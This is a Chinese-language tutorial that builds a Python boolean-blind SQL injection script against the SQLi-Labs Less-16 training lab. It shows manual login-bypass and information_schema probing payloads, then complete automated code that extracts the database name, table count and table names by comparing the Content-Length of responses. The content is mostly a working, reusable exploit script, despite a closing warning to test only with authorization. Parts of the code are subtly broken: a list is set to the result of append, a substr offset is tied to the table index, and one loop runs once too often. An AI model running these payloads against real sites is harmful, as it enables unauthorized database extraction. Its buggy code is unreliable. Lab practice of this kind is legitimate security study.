结合手工注入编写一个SQL盲注脚本——以SQLi-Labs less16为例

一、分析测试注入点

1、抓包,查看响应数据包
2、先随便输入一个账号密码,再测试万能密码
1") or 1=1 -- #

3、发现响应数据包的Content-Length字段值不同。错误状态返回Content-Length值为1467,正确返回1504,符合布尔注入特征。
4、使用万能密码登录成功,确定注入点,为布尔盲注
1") or 1=1 -- #

二、获取数据库名编写脚本

1、先获取数据库长度,测试语句
1") or length(database())=8 -- #

2、登录成功,确定数据库长度为8
3、、由于是盲注,获取数据库名手工不太现实,这里使用脚本。注意,脚本测试时,响应数据包的Content-Length字段值与BurpSuite抓包测试中的Content-Length字段值不同,请自行测试,根据实际情况修改
# -*- coding: utf-8 -*-
import requests
 
url = "http://192.168.40.128:86/Less-16/"
headers = {
    'Host' :'192.168.40.128:86',
    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/x-www-form-urlencoded',
    #'Content-Length': '39',
    'Origin': 'http://192.168.40.128:86',
    'Connection': 'close',
    'Referer': 'http://192.168.40.128:86/Less-16/',
    'Cookie': 'PHPSESSID=0lj1jpdj1en2s07g1l3fm12jb0',
    'Upgrade-Insecure-Requests': '1'
}
data = {
    'uname':'admin',
    'passwd':'adminpass',
    'submit':'Submit'
}
 
#获取数据库名的长度
def get_database_length():
    print("[-] Start getting the database name length:")
    for i in range(20):
        data_database_L = {
            'uname':'") or length(database())=' + str(i) + " #",
            'passwd':'adminpass',
            'submit':'Submit'
        }
        r_database_length = requests.post(url=url, data=data_database_L, allow_redirects=False)
        """ print(r_database_length.headers["Content-Length"])
        print(type(r_database_length.headers["Content-Length"])) """
        if r_database_length.headers["Content-Length"] == str(943):
            print("[*] current database length: {}".format(i))
            return i
 
#获取当前数据库的名称
def get_database_name(r_database_length):
    r_database_length = database_length
    #使用left()函数,即从左边第一个字符开始猜解
    database_name = ''
    print(' ')
    print("[-] Start getting the database name:")
    for i in range(1, r_database_length + 1):
        for j in 'qwertyuiopasdfghjklzxcvbnm0123456789@':
            #构造Payload
            payload = '1") or left(database(), ' + str(i) + ")='" + database_name + str(j) + "' -- #"
            #print(passwd)
            data_database_name = {
                'uname':'1',
                'passwd':payload,
                'submit':'Submit'
        }
            #逐个请求构造好的Payload
            r_database_name = requests.post(url=url, data=data_database_name, allow_redirects=False)
            #若响应数据包的Content-Length字段值为943,则猜解下一个字段,拼接正确的字段
            if r_database_name.headers["Content-Length"] == str(943):
                database_name += str(j)
                print("[+] {}".format(database_name))
                break
    print("[*] The database name is: {}".format(database_name))
    return database_name

4、测试时在脚本末尾添加如下代码
#测试
database_length = get_database_length()
database_name = get_database_name(database_length)

5、运行脚本,效果如下

三、获取数据库表的数量

1、测试语句,构造Payload。下面语句的意思是数据库security中表的数量大于1
1") and (select count(*) from information_schema.tables where table_schema='security')>1 -- #

登录成功
2、脚本实现
#获取数据库表的数量
def get_database_tables_count(r_database_name):
    r_database_name = database_name
    print(' ')
    print("[-] Start getting the number of databases:")
    for i in range(1,99):
    #构造获取数据库数量的Payload
        payload = '1") or (select count(*) from information_schema.tables where table_schema=' + "'" + database_name +"')=" + str(i) +" -- #"
        data_database_name = {
            'uname':'1',
            'passwd':payload,
            'submit':'Submit'
        }
        r_database_count = requests.post(url=url, data=data_database_name, allow_redirects=False)
        if r_database_count.headers["Content-Length"] == str(943):
            print("[*] The current number of database tables is: {}".format(i))
            return i

3、修改末尾的测试代码如下
#测试
database_length = get_database_length()
database_name = get_database_name(database_length)
database_count = get_database_tables_count(database_name)

4、运行脚本,效果如下

四、获取数据库表名的长度

1、先测试语句,构造Payload。下面语句的意思是数据库security的第一个表的长度大于1
1") or length(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1))>1 -- #

2、登录成功,语句正确
3、脚本实现
#获取表名的长度
def get_database_tables_name_length(r_database_name,r_database_tables_count):
    r_database_name = database_name
    r_database_tables_count = database_tables_count
    tables_name_length_list = []
    print(' ')
    print("[-] Start getting the database  tables name length:")
    #根据表的数量逐个猜解表名的长度
    for i in range(0,r_database_tables_count+1):
        for j in range(20):
            #'1") or length(substr((select table_name from information_schema.tables where table_schema=' + "'" +r_database_name +"' limit 0,1)," + str(i) + "))=" + str(j) + " -- #"
            payload = '1") or length(substr((select table_name from information_schema.tables where table_schema=' + "'" +r_database_name +"' limit " +str(i) + ",1)," + str(i+1) + "))=" + str(j) + " -- #"
            data_database_L = {
                'uname':payload,
                'passwd':'adminpass',
                'submit':'Submit'
            }
            r_database_tables_name_lemgth = requests.post(url=url, data=data_database_L, allow_redirects=False)
            if r_database_tables_name_lemgth.headers["Content-Length"] == str(943):
                print("[*] The length of the database table name is: {}".format(j))
                tables_name_length_list = tables_name_length_list.append(j)
    return tables_name_length_list

4、运行脚本,效果如下

五、获取表名

1、先构造Payload,测试语句
1") or ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>97 -- #

2、登录成功,Payload正确
3、脚本代码实现
#获取数据库表名
def get_database_tables_name():
    r_database_count = database_tables_count
    r_database_name = database_name
    r_tables_name_length = tables_name_length
    database_tables_name = ''
    tables_name_list = []
    print(' ')
    print("[-] Start getting the database table name:")
    for i in range(0,r_database_count):
        for k in range(1,r_tables_name_length[i]+1):
            for j in range(33,127):
                #1") or length(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1))=0 -- #
                #1") or ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>97 -- #
                # '1") or ascii(substr((select table_name from information_schema.tables where table_schema' + "='" + r_database_name + "' limit " + str(i) + ",1)," + str(k) + ",1))=" + j  + " -- #"
                payload = '1") or ascii(substr((select table_name from information_schema.tables where table_schema' + "='" + r_database_name + "' limit " + str(i) + ",1)," + str(k) + ",1))=" + str(j)  + " -- #"
                data_database_name = {
                'uname':'1',
                'passwd':payload,
                'submit':'Submit'
                }
                r_tables_name = requests.post(url=url,data=data_database_name,allow_redirects=False)
                if r_tables_name.headers["Content-Length"] == str(943):
                    database_tables_name += chr(j)
                    print("[+] {}".format(database_tables_name))
                    break
        #把获取到的表名加入列表tables_name_list
        print("[*] The current table name is: {}".format(database_tables_name))
        tables_name_list.append(database_tables_name)
        #清空database_tables_name,继续获取下一个表名
        database_tables_name = ''
    print("[*] The table name of the current database: {}".format(tables_name_list))
    return tables_name_list

4、效果如下

六、结尾

1、获取表的列名和获取表名的思路、逻辑是一样的,怎么获取表名都已经写出来了,如果怎么获取列名和数据都还不会的话,那就再去好好补一下SQL基础吧

2、此脚本是布尔盲注,延时盲注的逻辑和思路是一样的,只需要把Payload改成延时语句,把响应判断条件改成对应的延时判断就可以了

3、实战请在获得授权的前提下进行,且勿进行非法攻击!

4、最后,附上完整的脚本代码

# -*- coding: utf-8 -*-
from aiohttp import payload_type
import requests
from responses import target

url = "http://192.168.40.128:86/Less-16/"
headers = {
    'Host' :'192.168.40.128:86',
    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/x-www-form-urlencoded',
    #'Content-Length': '39',
    'Origin': 'http://192.168.40.128:86',
    'Connection': 'close',
    'Referer': 'http://192.168.40.128:86/Less-16/',
    'Cookie': 'PHPSESSID=0lj1jpdj1en2s07g1l3fm12jb0',
    'Upgrade-Insecure-Requests': '1'

}
data = {
    'uname':'admin',
    'passwd':'adminpass',
    'submit':'Submit'
}

""" r = requests.post(url=url, headers=headers, data=data, allow_redirects=False)
print(r.headers['Content-Length']) """

#获取数据库名的长度
def get_database_length():
    print("[-] Start getting the database name length:")
    for i in range(20):
        data_database_L = {
            'uname':'") or length(database())=' + str(i) + " #",
            'passwd':'adminpass',
            'submit':'Submit'
        }
        """ print(data_database_L) """
        r_database_length = requests.post(url=url, data=data_database_L, allow_redirects=False)
        """ print(r_database_length.headers["Content-Length"])
        print(type(r_database_length.headers["Content-Length"])) """
        if r_database_length.headers["Content-Length"] == str(943):
            print("[*] current database length: {}".format(i))
            return i
#测试
#database_length = get_database_length()
#print(type(database_length))

#获取当前数据库的名称
def get_database_name():
    r_database_length = database_length
    #使用left()函数,即从左边第一个字符开始猜解
    database_name = ''
    print(' ')
    print("[-] Start getting the database name:")
    for i in range(1, r_database_length + 1):
        for j in 'qwertyuiopasdfghjklzxcvbnm0123456789@':
            #构造Payload
            payload = '1") or left(database(), ' + str(i) + ")='" + database_name + str(j) + "' -- #"
            #print(passwd)
            data_database_name = {
                'uname':'1',
                'passwd':payload,
                'submit':'Submit'
        }
            #逐个请求构造好的Payload
            r_database_name = requests.post(url=url, data=data_database_name, allow_redirects=False)
            #print(r_database_name.headers["Content-Length"])
            #若响应数据包的Content-Length字段值为943,则猜解下一个字段,拼接正确的字段,这里根据实际情况修改
            if r_database_name.headers["Content-Length"] == str(943):
                database_name += str(j)
                print("[+] {}".format(database_name))
                break
    print("[*] The database name is: {}".format(database_name))
    return database_name

#获取数据库表的数量
def get_database_tables_count():
    r_database_name = database_name
    print(' ')
    print("[-] Start getting the number of databases:")
    for i in range(1,99):
    #构造获取数据库数量的Payload
        payload = '1") or (select count(*) from information_schema.tables where table_schema=' + "'" + r_database_name +"')=" + str(i) +" -- #"
        data_database_name = {
            'uname':'1',
            'passwd':payload,
            'submit':'Submit'
        }
        r_database_count = requests.post(url=url, data=data_database_name, allow_redirects=False)
        if r_database_count.headers["Content-Length"] == str(943):
            print("[*] The current number of database tables is: {}".format(i))
            return i

#获取表名的长度
def get_database_tables_name_length():
    r_database_name = database_name
    r_database_tables_count = database_tables_count
    tables_name_length_list = []
    print(' ')
    print("[-] Start getting the database  tables name length:")
    #根据表的数量逐个猜解表名的长度
    for i in range(0,r_database_tables_count+1):
        for j in range(20):
            #1") or length(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1))=0 -- #
            #'1") or length(substr((select table_name from information_schema.tables where table_schema=' + "'" +r_database_name +"' limit 0,1)," + str(i) + "))=" + str(j) + " -- #"
            payload = '1") or length(substr((select table_name from information_schema.tables where table_schema=' + "'" +r_database_name +"' limit " +str(i) + ",1)," + str(i+1) + "))=" + str(j) + " -- #"
            data_database_L = {
                'uname':payload,
                'passwd':'adminpass',
                'submit':'Submit'
            }
            r_database_tables_name_lemgth = requests.post(url=url, data=data_database_L, allow_redirects=False)
            if r_database_tables_name_lemgth.headers["Content-Length"] == str(943):
                print("[*] The length of the database table name is: {}".format(j))
                tables_name_length_list.append(j)
                break
    #print(tables_name_length_list)
    """ for n in range(0,database_tables_count):
        print(tables_name_length_list[n]) """
    return tables_name_length_list
                
#获取数据库表名
def get_database_tables_name():
    r_database_count = database_tables_count
    r_database_name = database_name
    r_tables_name_length = tables_name_length
    database_tables_name = ''
    tables_name_list = []
    print(' ')
    print("[-] Start getting the database table name:")
    for i in range(0,r_database_count):
        for k in range(1,r_tables_name_length[i]+1):
            for j in range(33,127):
                #1") or length(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1))=0 -- #
                #1") or ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>97 -- #
                # '1") or ascii(substr((select table_name from information_schema.tables where table_schema' + "='" + r_database_name + "' limit " + str(i) + ",1)," + str(k) + ",1))=" + j  + " -- #"
                payload = '1") or ascii(substr((select table_name from information_schema.tables where table_schema' + "='" + r_database_name + "' limit " + str(i) + ",1)," + str(k) + ",1))=" + str(j)  + " -- #"
                data_database_name = {
                'uname':'1',
                'passwd':payload,
                'submit':'Submit'
                }
                r_tables_name = requests.post(url=url,data=data_database_name,allow_redirects=False)
                #print(r_tables_name)
                if r_tables_name.headers["Content-Length"] == str(943):
                    database_tables_name += chr(j)
                    print("[+] {}".format(database_tables_name))
                    #tables_name_list.append(database_tables_name)
                    break
        #把获取到的表名加入列表tables_name_list
        print("[*] The current table name is: {}".format(database_tables_name))
        tables_name_list.append(database_tables_name)
        #清空database_tables_name,继续获取下一个表名
        database_tables_name = ''
    print("[*] The table name of the current database: {}".format(tables_name_list))
    return tables_name_list

#测试
database_length = get_database_length()
database_name = get_database_name()
database_tables_count = get_database_tables_count()
tables_name_length = get_database_tables_name_length()
get_database_tables_name()

 

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